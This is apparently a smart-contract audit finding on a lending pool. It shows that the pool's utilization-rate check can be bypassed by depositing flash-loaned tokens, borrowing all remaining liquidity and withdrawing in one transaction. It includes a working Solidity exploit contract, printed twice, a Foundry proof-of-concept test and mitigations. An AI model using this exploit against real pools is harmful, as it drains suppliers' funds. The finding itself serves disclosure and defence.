Users can borrow all loan tokens
Utilization rate check can be bypassed depositing additional loan tokens and withdrawing them in the same transaction.\\nIn the `borrow` function it is checked that the new utilization ratio will not be higher than the surge threshold. This threshold prevents borrowers from draining all available liquidity from the pool and also trigger the surge state, which lowers the collateral ratio.\\nA user can bypass this and borrow all available loan tokens following these steps:\\nDepositing the required amount of loan tokens in order to increase the balance of the pool.\\nBorrow the remaining loan tokens from the pool.\\nWithdraw the loan tokens deposited in the first step.\\nThis can be done in one transaction and the result will be a utilization rate of 100%. Even if the liquidity of the pool is high, the required loan tokens to perform the strategy can be borrowed using a flash loan.\\nHelper contract:\\n```\\n// SPDX-License-Identifier: UNLICENSED\\npragma solidity 0.8.17;\\n\\nimport { FlashBorrower, Flashloan, IERC20Token } from "./FlashLoan.sol";\\nimport { Pool } from "./../../src/Pool.sol";\\n\\ncontract Borrower is FlashBorrower {\\n    address public immutable owner;\\n    Flashloan public immutable flashLoan;\\n    Pool public immutable pool;\\n    IERC20Token public loanToken;\\n\\n    constructor(Flashloan _flashLoan, Pool _pool) {\\n        owner = msg.sender;\\n        flashLoan = _flashLoan;\\n        pool = _pool;\\n        loanToken = IERC20Token(address(_pool.LOAN_TOKEN()));\\n    }\\n\\n    function borrowAll() public returns (bool) {\\n        // Get current values from pool\\n        pool.withdraw(0);\\n        uint loanTokenBalance = loanToken.balanceOf(address(pool));\\n        loanToken.approve(address(pool), loanTokenBalance);\\n\\n        // Execute flash loan\\n        flashLoan.execute(FlashBorrower(address(this)), loanToken, loanTokenBalance, abi.encode(loanTokenBalance));\\n    }\\n\\n    function onFlashLoan(IERC20Token token, uint amount, bytes calldata data) public override {\\n        // Decode data\\n        (uint loanTokenBalance) = abi.decode(data, (uint));\\n\\n        // Deposit tokens borrowed from flash loan, borrow all other LOAN tokens from pool and\\n        // withdraw the deposited tokens\\n        pool.deposit(amount);\\n        pool.borrow(loanTokenBalance);\\n        pool.withdraw(amount);\\n\\n        // Repay the loan\\n        token.transfer(address(flashLoan), amount);\\n\\n        // Send loan tokens to owner\\n        loanToken.transfer(owner, loanTokenBalance);\\n    }\\n}\\n```\\n\\nExecution:\\n```\\n// SPDX-License-Identifier: UNLICENSED\\npragma solidity 0.8.17;\\n\\nimport "forge-std/Test.sol";\\nimport "../src/Pool.sol";\\nimport "../src/Factory.sol";\\nimport "./mocks/Borrower.sol";\\nimport "./mocks/ERC20.sol";\\n\\ncontract PoC is Test {\\n    address alice = vm.addr(0x1);\\n    address bob = vm.addr(0x2);\\n    Factory factory;\\n    Pool pool;\\n    Borrower borrower;\\n    Flashloan flashLoan;\\n    MockERC20 collateralToken;\\n    MockERC20 loanToken;\\n    uint maxCollateralRatioMantissa;\\n    uint surgeMantissa;\\n    uint collateralRatioFallDuration;\\n    uint collateralRatioRecoveryDuration;\\n    uint minRateMantissa;\\n    uint surgeRateMantissa;\\n    uint maxRateMantissa;\\n\\n    function setUp() public {\\n        factory = new Factory(address(this), "G");\\n        flashLoan = new Flashloan();\\n        collateralToken = new MockERC20(1 ether, 18);\\n        collateralToken.transfer(bob, 1 ether);\\n        loanToken = new MockERC20(100 ether, 18);\\n        loanToken.transfer(alice, 1 ether);\\n        loanToken.transfer(address(flashLoan), 99 ether);\\n        maxCollateralRatioMantissa = 1e18;\\n        surgeMantissa = 0.8e18; // 80%\\n        pool = factory.deploySurgePool(IERC20(address(collateralToken)), IERC20(address(loanToken)), maxCollateralRatioMantissa, surgeMantissa, 1e15, 1e15, 0.1e18, 0.4e18, 0.6e18);\\n    }\\n\\n    function testFailBorrowAll() external {\\n        // Alice deposits 1 LOAN token\\n        vm.startPrank(alice);\\n        loanToken.approve(address(pool), 1 ether);\\n        pool.deposit(1 ether);\\n        vm.stopPrank();\\n\\n        // Bob tries to borrow all available loan tokens\\n        vm.startPrank(bob);\\n        collateralToken.approve(address(pool), 1 ether);\\n        pool.addCollateral(bob, 1 ether);\\n        pool.borrow(1 ether);\\n        vm.stopPrank();\\n    }\\n\\n    function testBypassUtilizationRate() external {\\n        uint balanceBefore = loanToken.balanceOf(bob);\\n\\n        // Alice deposits 1 LOAN token\\n        vm.startPrank(alice);\\n        loanToken.approve(address(pool), 1 ether);\\n        pool.deposit(1 ether);\\n        vm.stopPrank();\\n\\n        // Bob tries to borrow all available loan tokens\\n        vm.startPrank(bob);\\n        collateralToken.approve(address(pool), 1 ether);\\n        borrower = new Borrower(flashLoan, pool);\\n        pool.addCollateral(address(borrower), 1 ether);\\n        borrower.borrowAll();\\n        vm.stopPrank();\\n\\n        assertEq(loanToken.balanceOf(bob) - balanceBefore, 1 ether);\\n    }\\n}\\n```\\n
A possible solution would be adding a locking period for deposits of loan tokens.\\nAnother possibility is to enforce that the utilization rate was under the surge rate also in the previous snapshot.
The vulnerability allows to drain all the liquidity from the pool, which entails two problems:\\nThe collateral ratio starts decreasing and only stops if the utilization ratio goes back to the surge threshold.\\nThe suppliers will not be able to withdraw their tokens.\\nThe vulnerability can be executed by the same or other actors every time a loan is repaid or a new deposit is done, tracking the mempool and borrowing any new amount of loan tokens available in the pool, until the collateral ratio reaches a value of zero.\\nA clear case with economic incentives to perform this attack would be that the collateral token drops its price at a high rate and borrow all the available loan tokens from the pool, leaving all suppliers without the chance of withdrawing their share.
```\\n// SPDX-License-Identifier: UNLICENSED\\npragma solidity 0.8.17;\\n\\nimport { FlashBorrower, Flashloan, IERC20Token } from "./FlashLoan.sol";\\nimport { Pool } from "./../../src/Pool.sol";\\n\\ncontract Borrower is FlashBorrower {\\n    address public immutable owner;\\n    Flashloan public immutable flashLoan;\\n    Pool public immutable pool;\\n    IERC20Token public loanToken;\\n\\n    constructor(Flashloan _flashLoan, Pool _pool) {\\n        owner = msg.sender;\\n        flashLoan = _flashLoan;\\n        pool = _pool;\\n        loanToken = IERC20Token(address(_pool.LOAN_TOKEN()));\\n    }\\n\\n    function borrowAll() public returns (bool) {\\n        // Get current values from pool\\n        pool.withdraw(0);\\n        uint loanTokenBalance = loanToken.balanceOf(address(pool));\\n        loanToken.approve(address(pool), loanTokenBalance);\\n\\n        // Execute flash loan\\n        flashLoan.execute(FlashBorrower(address(this)), loanToken, loanTokenBalance, abi.encode(loanTokenBalance));\\n    }\\n\\n    function onFlashLoan(IERC20Token token, uint amount, bytes calldata data) public override {\\n        // Decode data\\n        (uint loanTokenBalance) = abi.decode(data, (uint));\\n\\n        // Deposit tokens borrowed from flash loan, borrow all other LOAN tokens from pool and\\n        // withdraw the deposited tokens\\n        pool.deposit(amount);\\n        pool.borrow(loanTokenBalance);\\n        pool.withdraw(amount);\\n\\n        // Repay the loan\\n        token.transfer(address(flashLoan), amount);\\n\\n        // Send loan tokens to owner\\n        loanToken.transfer(owner, loanTokenBalance);\\n    }\\n}\\n```\\n